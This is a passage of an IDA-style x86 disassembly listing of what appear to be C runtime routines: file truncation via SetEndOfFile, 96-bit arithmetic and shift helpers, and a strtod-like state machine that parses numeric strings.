[ebp+var_1014] push edx mov eax, [ebp+arg_0] push eax call sub_42E9D0 add esp, 0Ch mov [ebp+var_1008], eax cmp [ebp+var_1008], 0FFFFFFFFh jnz short loc_43603F call sub_429AA0 cmp dword ptr [eax], 5 jnz short loc_436031 call sub_429A90 mov dword ptr [eax], 0Dh loc_436031: ; CODE XREF: sub_435EC0+164j mov ecx, [ebp+var_1008] mov [ebp+var_101C], ecx jmp short loc_43605E ; --------------------------------------------------------------------------- loc_43603F: ; CODE XREF: sub_435EC0+15Aj mov edx, [ebp+var_1018] sub edx, [ebp+var_1008] mov [ebp+var_1018], edx cmp [ebp+var_1018], 0 jg loc_435F9F loc_43605E: ; CODE XREF: sub_435EC0+17Dj mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4390A0 add esp, 8 jmp short loc_4360CE ; --------------------------------------------------------------------------- loc_436070: ; CODE XREF: sub_435EC0+AFj cmp [ebp+var_1018], 0 jge short loc_4360CE push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42E570 add esp, 0Ch mov ecx, [ebp+arg_0] push ecx call sub_430EF0 add esp, 4 push eax call ds:dword_4F52E8 ; SetEndOfFile neg eax sbb eax, eax neg eax dec eax mov [ebp+var_101C], eax cmp [ebp+var_101C], 0FFFFFFFFh jnz short loc_4360CE call sub_429A90 mov dword ptr [eax], 0Dh call ds:dword_4F5360 ; RtlGetLastWin32Error mov esi, eax call sub_429AA0 mov [eax], esi loc_4360CE: ; CODE XREF: sub_435EC0+1AEj ; sub_435EC0+1B7j ... push 0 mov edx, [ebp+var_100C] push edx mov eax, [ebp+arg_0] push eax call sub_42E570 add esp, 0Ch mov eax, [ebp+var_101C] loc_4360E9: ; CODE XREF: sub_435EC0+94j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_435EC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4360F0 proc near ; CODE XREF: sub_432490+53p ; sub_432490+94p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 mov eax, [ebp+arg_0] add eax, [ebp+arg_4] mov [ebp+var_4], eax mov ecx, [ebp+var_4] cmp ecx, [ebp+arg_0] jb short loc_436116 mov edx, [ebp+var_4] cmp edx, [ebp+arg_4] jnb short loc_43611F loc_436116: ; CODE XREF: sub_4360F0+1Cj mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_43611F: ; CODE XREF: sub_4360F0+24j mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_4360F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_436130 proc near ; CODE XREF: sub_4362B0+77p ; sub_4362B0+AAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_4] mov edx, [ecx] push edx mov eax, [ebp+arg_0] mov ecx, [eax] push ecx call sub_4360F0 add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_436187 mov edx, [ebp+arg_0] add edx, 4 push edx push 1 mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx call sub_4360F0 add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_436187 mov edx, [ebp+arg_0] mov eax, [edx+8] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx+8], eax loc_436187: ; CODE XREF: sub_436130+25j ; sub_436130+46j mov edx, [ebp+arg_0] add edx, 4 push edx mov eax, [ebp+arg_4] mov ecx, [eax+4] push ecx mov edx, [ebp+arg_0] mov eax, [edx+4] push eax call sub_4360F0 add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4361BC mov ecx, [ebp+arg_0] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx loc_4361BC: ; CODE XREF: sub_436130+7Bj mov ecx, [ebp+arg_0] add ecx, 8 push ecx mov edx, [ebp+arg_4] mov eax, [edx+8] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+8] push edx call sub_4360F0 add esp, 0Ch mov esp, ebp pop ebp retn sub_436130 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4361E0 proc near ; CODE XREF: sub_4362B0+5Bp ; sub_4362B0+67p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 80000000h neg ecx sbb ecx, ecx neg ecx mov [ebp+var_4], ecx mov edx, [ebp+arg_0] mov eax, [edx+4] and eax, 80000000h neg eax sbb eax, eax neg eax mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ecx] shl edx, 1 mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ecx+4] shl edx, 1 or edx, [ebp+var_4] mov eax, [ebp+arg_0] mov [eax+4], edx mov ecx, [ebp+arg_0] mov edx, [ecx+8] shl edx, 1 or edx, [ebp+var_8] mov eax, [ebp+arg_0] mov [eax+8], edx mov esp, ebp pop ebp retn sub_4361E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_436240 proc near ; CODE XREF: sub_436F70+382p ; sub_439170+316p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, 1 neg ecx sbb ecx, ecx and ecx, 80000000h mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+4] and eax, 1 neg eax sbb eax, eax and eax, 80000000h mov [ebp+var_4], eax mov ecx, [ebp+arg_0] mov edx, [ecx+8] shr edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_0] mov edx, [ecx+4] shr edx, 1 or edx, [ebp+var_8] mov eax, [ebp+arg_0] mov [eax+4], edx mov ecx, [ebp+arg_0] mov edx, [ecx] shr edx, 1 or edx, [ebp+var_4] mov eax, [ebp+arg_0] mov [eax], edx mov esp, ebp pop ebp retn sub_436240 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4362B0 proc near ; CODE XREF: sub_4363F0+8A7p var_10 = word ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov [ebp+var_10], 404Eh mov eax, [ebp+arg_8] mov dword ptr [eax], 0 mov ecx, [ebp+arg_8] mov dword ptr [ecx+4], 0 mov edx, [ebp+arg_8] mov dword ptr [edx+8], 0 jmp short loc_4362ED ; --------------------------------------------------------------------------- loc_4362DB: ; CODE XREF: sub_4362B0+B2j mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_4362ED: ; CODE XREF: sub_4362B0+29j cmp [ebp+arg_4], 0 jbe short loc_436367 mov edx, [ebp+arg_8] mov eax, [edx] mov [ebp+var_C], eax mov ecx, [edx+4] mov [ebp+var_8], ecx mov edx, [edx+8] mov [ebp+var_4], edx mov eax, [ebp+arg_8] push eax call sub_4361E0 add esp, 4 mov ecx, [ebp+arg_8] push ecx call sub_4361E0 add esp, 4 lea edx, [ebp+var_C] push edx mov eax, [ebp+arg_8] push eax call sub_436130 add esp, 8 mov ecx, [ebp+arg_8] push ecx call sub_4361E0 add esp, 4 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] mov [ebp+var_C], eax mov [ebp+var_8], 0 mov [ebp+var_4], 0 lea ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_8] push edx call sub_436130 add esp, 8 jmp loc_4362DB ; --------------------------------------------------------------------------- loc_436367: ; CODE XREF: sub_4362B0+41j ; sub_4362B0+101j mov eax, [ebp+arg_8] cmp dword ptr [eax+8], 0 jnz short loc_4363B3 mov ecx, [ebp+arg_8] mov edx, [ecx+4] shr edx, 10h mov eax, [ebp+arg_8] mov [eax+8], edx mov ecx, [ebp+arg_8] mov edx, [ecx+4] shl edx, 10h mov eax, [ebp+arg_8] mov ecx, [eax] shr ecx, 10h or edx, ecx mov eax, [ebp+arg_8] mov [eax+4], edx mov ecx, [ebp+arg_8] mov edx, [ecx] shl edx, 10h mov eax, [ebp+arg_8] mov [eax], edx mov cx, [ebp+var_10] sub cx, 10h mov [ebp+var_10], cx jmp short loc_436367 ; --------------------------------------------------------------------------- loc_4363B3: ; CODE XREF: sub_4362B0+BEj ; sub_4362B0+12Aj mov edx, [ebp+arg_8] mov eax, [edx+8] and eax, 8000h test eax, eax jnz short loc_4363DC mov ecx, [ebp+arg_8] push ecx call sub_4361E0 add esp, 4 mov dx, [ebp+var_10] sub dx, 1 mov [ebp+var_10], dx jmp short loc_4363B3 ; --------------------------------------------------------------------------- loc_4363DC: ; CODE XREF: sub_4362B0+110j mov eax, [ebp+arg_8] mov cx, [ebp+var_10] mov [eax+0Ah], cx mov esp, ebp pop ebp retn sub_4362B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4363F0 proc near ; CODE XREF: sub_432B20+1Ap ; _0:00432B7Ap ... var_B4 = byte ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = byte ptr -0A8h var_A4 = byte ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_88 = dword ptr -88h var_84 = byte ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = word ptr -60h var_5E = dword ptr -5Eh var_5A = dword ptr -5Ah var_56 = word ptr -56h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = word ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_21 = byte ptr -21h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 0B4h lea eax, [ebp+var_38] mov [ebp+var_68], eax mov word ptr [ebp+var_1C], 0 mov [ebp+var_74], 1 mov [ebp+var_70], 0 mov [ebp+var_54], 0 mov [ebp+var_C], 0 mov [ebp+var_18], 0 mov [ebp+var_40], 0 mov [ebp+var_78], 0 mov [ebp+var_14], 0 mov [ebp+var_6C], 0 mov [ebp+var_44], 0 mov [ebp+var_4C], 0 mov ecx, [ebp+arg_8] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov [ebp+var_64], edx jmp short loc_436469 ; --------------------------------------------------------------------------- loc_436460: ; CODE XREF: sub_4363F0:loc_436495j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_436469: ; CODE XREF: sub_4363F0+6Ej mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 20h jz short loc_436495 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 9 jz short loc_436495 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 0Ah jz short loc_436495 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Dh jnz short loc_436497 loc_436495: ; CODE XREF: sub_4363F0+82j ; sub_4363F0+8Dj ... jmp short loc_436460 ; --------------------------------------------------------------------------- loc_436497: ; CODE XREF: sub_4363F0+A3j ; sub_4363F0:loc_436BF3j cmp [ebp+var_4C], 0Ah jz loc_436BF8 mov eax, [ebp+var_4] mov cl, [eax] mov byte ptr [ebp+var_3C], cl mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4C] mov [ebp+var_80], eax cmp [ebp+var_80], 0Bh ja loc_436BF3 mov ecx, [ebp+var_80] jmp off_436E0A[ecx*4] loc_4364CC: ; DATA XREF: _0:off_436E0Ao movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_4364F0 movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_4364F0 mov [ebp+var_4C], 3 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_436565 ; --------------------------------------------------------------------------- loc_4364F0: ; CODE XREF: sub_4363F0+E3j ; sub_4363F0+ECj movsx edx, byte ptr [ebp+var_3C] movsx eax, ds:byte_453DF4 cmp edx, eax jnz short loc_436508 mov [ebp+var_4C], 5 jmp short loc_436565 ; --------------------------------------------------------------------------- loc_436508: ; CODE XREF: sub_4363F0+10Dj mov cl, byte ptr [ebp+var_3C] mov [ebp+var_84], cl cmp [ebp+var_84], 2Bh jz short loc_436537 cmp [ebp+var_84], 2Dh jz short loc_436546 cmp [ebp+var_84], 30h jz short loc_43652E jmp short loc_436555 ; --------------------------------------------------------------------------- loc_43652E: ; CODE XREF: sub_4363F0+13Aj mov [ebp+var_4C], 1 jmp short loc_436565 ; --------------------------------------------------------------------------- loc_436537: ; CODE XREF: sub_4363F0+128j mov [ebp+var_4C], 2 mov word ptr [ebp+var_1C], 0 jmp short loc_436565 ; --------------------------------------------------------------------------- loc_436546: ; CODE XREF: sub_4363F0+131j mov [ebp+var_4C], 2 mov word ptr [ebp+var_1C], 8000h jmp short loc_436565 ; --------------------------------------------------------------------------- loc_436555: ; CODE XREF: sub_4363F0+13Cj mov [ebp+var_4C], 0Ah mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_436565: ; CODE XREF: sub_4363F0+FEj ; sub_4363F0+116j ... jmp loc_436BF3 ; --------------------------------------------------------------------------- loc_43656A: ; CODE XREF: sub_4363F0+D5j ; DATA XREF: _0:00436E0Eo mov [ebp+var_54], 1 movsx eax, byte ptr [ebp+var_3C] cmp eax, 31h jl short loc_436598 movsx ecx, byte ptr [ebp+var_3C] cmp ecx, 39h jg short loc_436598 mov [ebp+var_4C], 3 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp loc_43661B ; --------------------------------------------------------------------------- loc_436598: ; CODE XREF: sub_4363F0+188j ; sub_4363F0+191j movsx eax, byte ptr [ebp+var_3C] movsx ecx, ds:byte_453DF4 cmp eax, ecx jnz short loc_4365B0 mov [ebp+var_4C], 4 jmp short loc_43661B ; --------------------------------------------------------------------------- loc_4365B0: ; CODE XREF: sub_4363F0+1B5j movsx edx, byte ptr [ebp+var_3C] mov [ebp+var_88], edx mov eax, [ebp+var_88] sub eax, 2Bh mov [ebp+var_88], eax cmp [ebp+var_88], 3Ah ja short loc_43660B mov edx, [ebp+var_88] xor ecx, ecx mov cl, byte_436E4A[edx] jmp off_436E3A[ecx*4] loc_4365E7: ; CODE XREF: sub_4363F0+D5j ; DATA XREF: _0:00436E3Eo mov [ebp+var_4C], 1 jmp short loc_43661B ; --------------------------------------------------------------------------- loc_4365F0: ; CODE XREF: sub_4363F0+D5j ; sub_4363F0+1F0j ; DATA XREF: ... mov [ebp+var_4C], 6 jmp short loc_43661B ; --------------------------------------------------------------------------- loc_4365F9: ; CODE XREF: sub_4363F0+D5j ; sub_4363F0+1F0j ; DATA XREF: ... mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax mov [ebp+var_4C], 0Bh jmp short loc_43661B ; --------------------------------------------------------------------------- loc_43660B: ; CODE XREF: sub_4363F0+D5j ; sub_4363F0+1E0j ... mov [ebp+var_4C], 0Ah mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_43661B: ; CODE XREF: sub_4363F0+1A3j ; sub_4363F0+1BEj ... jmp loc_436BF3 ; --------------------------------------------------------------------------- loc_436620: ; CODE XREF: sub_4363F0+D5j ; DATA XREF: _0:00436E12o movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_436644 movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_436644 mov [ebp+var_4C], 3 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_436686 ; --------------------------------------------------------------------------- loc_436644: ; CODE XREF: sub_4363F0+237j ; sub_4363F0+240j movsx edx, byte ptr [ebp+var_3C] movsx eax, ds:byte_453DF4 cmp edx, eax jnz short loc_43665C mov [ebp+var_4C], 5 jmp short loc_436686 ; --------------------------------------------------------------------------- loc_43665C: ; CODE XREF: sub_4363F0+261j mov cl, byte ptr [ebp+var_3C] mov [ebp+var_8C], cl cmp [ebp+var_8C], 30h jz short loc_436670 jmp short loc_436679 ; --------------------------------------------------------------------------- loc_436670: ; CODE XREF: sub_4363F0+27Cj mov [ebp+var_4C], 1 jmp short loc_436686 ; --------------------------------------------------------------------------- loc_436679: ; CODE XREF: sub_4363F0+27Ej mov [ebp+var_4C], 0Ah mov edx, [ebp+var_64] mov [ebp+var_4], edx loc_436686: ; CODE XREF: sub_4363F0+252j ; sub_4363F0+26Aj ... jmp loc_436BF3 ; --------------------------------------------------------------------------- loc_43668B: ; CODE XREF: sub_4363F0+D5j ; DATA XREF: _0:00436E16o mov [ebp+var_54], 1 jmp short loc_4366A5 ; --------------------------------------------------------------------------- loc_436694: ; CODE XREF: sub_4363F0:loc_43671Fj mov eax, [ebp+var_4] mov cl, [eax] mov byte ptr [ebp+var_3C], cl mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_4366A5: ; CODE XREF: sub_4363F0+2A2j cmp ds:dword_453DF0, 1 jle short loc_4366C9 push 4 mov eax, [ebp+var_3C] and eax, 0FFh push eax call sub_427040 add esp, 8 mov [ebp+var_90], eax jmp short loc_4366E7 ; --------------------------------------------------------------------------- loc_4366C9: ; CODE XREF: sub_4363F0+2BCj mov ecx, [ebp+var_3C] and ecx, 0FFh mov edx, ds:off_453BE4 xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp+var_90], eax loc_4366E7: ; CODE XREF: sub_4363F0+2D7j cmp [ebp+var_90], 0 jz short loc_436724 cmp [ebp+var_70], 19h jnb short loc_436716 mov ecx, [ebp+var_70] add ecx, 1 mov [ebp+var_70], ecx movsx edx, byte ptr [ebp+var_3C] sub edx, 30h mov eax, [ebp+var_68] mov [eax], dl mov ecx, [ebp+var_68] add ecx, 1 mov [ebp+var_68], ecx jmp short loc_43671F ; --------------------------------------------------------------------------- loc_436716: ; CODE XREF: sub_4363F0+304j mov edx, [ebp+var_6C] add edx, 1 mov [ebp+var_6C], edx loc_43671F: ; CODE XREF: sub_4363F0+324j jmp loc_436694 ; --------------------------------------------------------------------------- loc_436724: ; CODE XREF: sub_4363F0+2FEj movsx eax, byte ptr [ebp+var_3C] movsx ecx, ds:byte_453DF4 cmp eax, ecx jnz short loc_43673C mov [ebp+var_4C], 4 jmp short loc_43679E ; --------------------------------------------------------------------------- loc_43673C: ; CODE XREF: sub_4363F0+341j movsx edx, byte ptr [ebp+var_3C] mov [ebp+var_94], edx mov eax, [ebp+var_94] sub eax, 2Bh mov [ebp+var_94], eax cmp [ebp+var_94], 3Ah ja short loc_43678E mov edx, [ebp+var_94] xor ecx, ecx mov cl, byte_436E91[edx] jmp off_436E85[ecx*4] loc_436773: ; DATA XREF: _0:00436E89o mov [ebp+var_4C], 6 jmp short loc_43679E ; --------------------------------------------------------------------------- loc_43677C: ; CODE XREF: sub_4363F0+37Cj ; DATA XREF: _0:off_436E85o mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax mov [ebp+var_4C], 0Bh jmp short loc_43679E ; --------------------------------------------------------------------------- loc_43678E: ; CODE XREF: sub_4363F0+36Cj ; sub_4363F0+37Cj ; DATA XREF: ... mov [ebp+var_4C], 0Ah mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_43679E: ; CODE XREF: sub_4363F0+34Aj ; sub_4363F0+38Aj ... jmp loc_436BF3 ; --------------------------------------------------------------------------- loc_4367A3: ; CODE XREF: sub_4363F0+D5j ; DATA XREF: _0:00436E1Ao mov [ebp+var_54], 1 mov [ebp+var_C], 1 cmp [ebp+var_70], 0 jnz short loc_4367DE jmp short loc_4367CA ; --------------------------------------------------------------------------- loc_4367B9: ; CODE XREF: sub_4363F0+3ECj mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_3C], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_4367CA: ; CODE XREF: sub_4363F0+3C7j movsx edx, byte ptr [ebp+var_3C] cmp edx, 30h jnz short loc_4367DE mov eax, [ebp+var_6C] sub eax, 1 mov [ebp+var_6C], eax jmp short loc_4367B9 ; --------------------------------------------------------------------------- loc_4367DE: ; CODE XREF: sub_4363F0+3C5j ; sub_4363F0+3E1j jmp short loc_4367F1 ; --------------------------------------------------------------------------- loc_4367E0: ; CODE XREF: sub_4363F0:loc_436869j mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_3C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_4367F1: ; CODE XREF: sub_4363F0:loc_4367DEj cmp ds:dword_453DF0, 1 jle short loc_436816 push 4 mov ecx, [ebp+var_3C] and ecx, 0FFh push ecx call sub_427040 add esp, 8 mov [ebp+var_98], eax jmp short loc_436833 ; --------------------------------------------------------------------------- loc_436816: ; CODE XREF: sub_4363F0+408j mov edx, [ebp+var_3C] and edx, 0FFh mov eax, ds:off_453BE4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_98], ecx loc_436833: ; CODE XREF: sub_4363F0+424j cmp [ebp+var_98], 0 jz short loc_43686E cmp [ebp+var_70], 19h jnb short loc_436869 mov edx, [ebp+var_70] add edx, 1 mov [ebp+var_70], edx movsx eax, byte ptr [ebp+var_3C] sub eax, 30h mov ecx, [ebp+var_68] mov [ecx], al mov edx, [ebp+var_68] add edx, 1 mov [ebp+var_68], edx mov eax, [ebp+var_6C] sub eax, 1 mov [ebp+var_6C], eax loc_436869: ; CODE XREF: sub_4363F0+450j jmp loc_4367E0 ; --------------------------------------------------------------------------- loc_43686E: ; CODE XREF: sub_4363F0+44Aj movsx ecx, byte ptr [ebp+var_3C] mov [ebp+var_9C], ecx mov edx, [ebp+var_9C] sub edx, 2Bh mov [ebp+var_9C], edx cmp [ebp+var_9C], 3Ah ja short loc_4368C0 mov ecx, [ebp+var_9C] xor eax, eax mov al, byte_436ED8[ecx] jmp off_436ECC[eax*4] loc_4368A5: ; DATA XREF: _0:00436ED0o mov [ebp+var_4C], 6 jmp short loc_4368D0 ; --------------------------------------------------------------------------- loc_4368AE: ; CODE XREF: sub_4363F0+4AEj ; DATA XREF: _0:off_436ECCo mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov [ebp+var_4C], 0Bh jmp short loc_4368D0 ; --------------------------------------------------------------------------- loc_4368C0: ; CODE XREF: sub_4363F0+49Ej ; sub_4363F0+4AEj ; DATA XREF: ... mov [ebp+var_4C], 0Ah mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_4368D0: ; CODE XREF: sub_4363F0+4BCj ; sub_4363F0+4CEj jmp loc_436BF3 ; --------------------------------------------------------------------------- loc_4368D5: ; CODE XREF: sub_4363F0+D5j ; DATA XREF: _0:00436E1Eo mov [ebp+var_C], 1 cmp ds:dword_453DF0, 1 jle short loc_436901 push 4 mov ecx, [ebp+var_3C] and ecx, 0FFh push ecx call sub_427040 add esp, 8 mov [ebp+var_A0], eax jmp short loc_43691E ; --------------------------------------------------------------------------- loc_436901: ; CODE XREF: sub_4363F0+4F3j mov edx, [ebp+var_3C] and edx, 0FFh mov eax, ds:off_453BE4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_A0], ecx loc_43691E: ; CODE XREF: sub_4363F0+50Fj cmp [ebp+var_A0], 0 jz short loc_436939 mov [ebp+var_4C], 4 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp short loc_436946 ; --------------------------------------------------------------------------- loc_436939: ; CODE XREF: sub_4363F0+535j mov [ebp+var_4C], 0Ah mov eax, [ebp+var_64] mov [ebp+var_4], eax loc_436946: ; CODE XREF: sub_4363F0+547j jmp loc_436BF3 ; --------------------------------------------------------------------------- loc_43694B: ; CODE XREF: sub_4363F0+D5j ; DATA XREF: _0:00436E22o mov ecx, [ebp+var_4] sub ecx, 2 mov [ebp+var_64], ecx movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_436978 movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_436978 mov [ebp+var_4C], 9 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_4369CD ; --------------------------------------------------------------------------- loc_436978: ; CODE XREF: sub_4363F0+56Bj ; sub_4363F0+574j mov dl, byte ptr [ebp+var_3C] mov [ebp+var_A4], dl cmp [ebp+var_A4], 2Bh jz short loc_4369B7 cmp [ebp+var_A4], 2Dh jz short loc_4369A7 cmp [ebp+var_A4], 30h jz short loc_43699E jmp short loc_4369C0 ; --------------------------------------------------------------------------- loc_43699E: ; CODE XREF: sub_4363F0+5AAj mov [ebp+var_4C], 8 jmp short loc_4369CD ; --------------------------------------------------------------------------- loc_4369A7: ; CODE XREF: sub_4363F0+5A1j mov [ebp+var_4C], 7 mov [ebp+var_74], 0FFFFFFFFh jmp short loc_4369CD ; --------------------------------------------------------------------------- loc_4369B7: ; CODE XREF: sub_4363F0+598j mov [ebp+var_4C], 7 jmp short loc_4369CD ; --------------------------------------------------------------------------- loc_4369C0: ; CODE XREF: sub_4363F0+5ACj mov [ebp+var_4C], 0Ah mov eax, [ebp+var_64] mov [ebp+var_4], eax loc_4369CD: ; CODE XREF: sub_4363F0+586j ; sub_4363F0+5B5j ... jmp loc_436BF3 ; --------------------------------------------------------------------------- loc_4369D2: ; CODE XREF: sub_4363F0+D5j ; DATA XREF: _0:00436E2Ao mov [ebp+var_18], 1 jmp short loc_4369EC ; --------------------------------------------------------------------------- loc_4369DB: ; CODE XREF: sub_4363F0+605j mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_3C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_4369EC: ; CODE XREF: sub_4363F0+5E9j movsx ecx, byte ptr [ebp+var_3C] cmp ecx, 30h jnz short loc_4369F7 jmp short loc_4369DB ; --------------------------------------------------------------------------- loc_4369F7: ; CODE XREF: sub_4363F0+603j movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_436A1B movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_436A1B mov [ebp+var_4C], 9 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_436A2B ; --------------------------------------------------------------------------- loc_436A1B: ; CODE XREF: sub_4363F0+60Ej ; sub_4363F0+617j mov [ebp+var_4C], 0Ah mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_436A2B: ; CODE XREF: sub_4363F0+629j jmp loc_436BF3 ; --------------------------------------------------------------------------- loc_436A30: ; CODE XREF: sub_4363F0+D5j ; DATA XREF: _0:00436E26o movsx eax, byte ptr [ebp+var_3C] cmp eax, 31h jl short loc_436A54 movsx ecx, byte ptr [ebp+var_3C] cmp ecx, 39h jg short loc_436A54 mov [ebp+var_4C], 9 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp short loc_436A7E ; --------------------------------------------------------------------------- loc_436A54: ; CODE XREF: sub_4363F0+647j ; sub_4363F0+650j mov al, byte ptr [ebp+var_3C] mov [ebp+var_A8], al cmp [ebp+var_A8], 30h jz short loc_436A68 jmp short loc_436A71 ; --------------------------------------------------------------------------- loc_436A68: ; CODE XREF: sub_4363F0+674j mov [ebp+var_4C], 8 jmp short loc_436A7E ; --------------------------------------------------------------------------- loc_436A71: ; CODE XREF: sub_4363F0+676j mov [ebp+var_4C], 0Ah mov ecx, [ebp+var_64] mov [ebp+var_4], ecx loc_436A7E: ; CODE XREF: sub_4363F0+662j ; sub_4363F0+67Fj jmp loc_436BF3 ; --------------------------------------------------------------------------- loc_436A83: ; CODE XREF: sub_4363F0+D5j ; DATA XREF: _0:00436E2Eo mov [ebp+var_18], 1 mov [ebp+var_7C], 0 jmp short loc_436AA4 ; --------------------------------------------------------------------------- loc_436A93: ; CODE XREF: sub_4363F0:loc_436B12j mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_3C], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_436AA4: ; CODE XREF: sub_4363F0+6A1j cmp ds:dword_453DF0, 1 jle short loc_436AC9 push 4 mov edx, [ebp+var_3C] and edx, 0FFh push edx call sub_427040 add esp, 8 mov [ebp+var_AC], eax jmp short loc_436AE6 ; 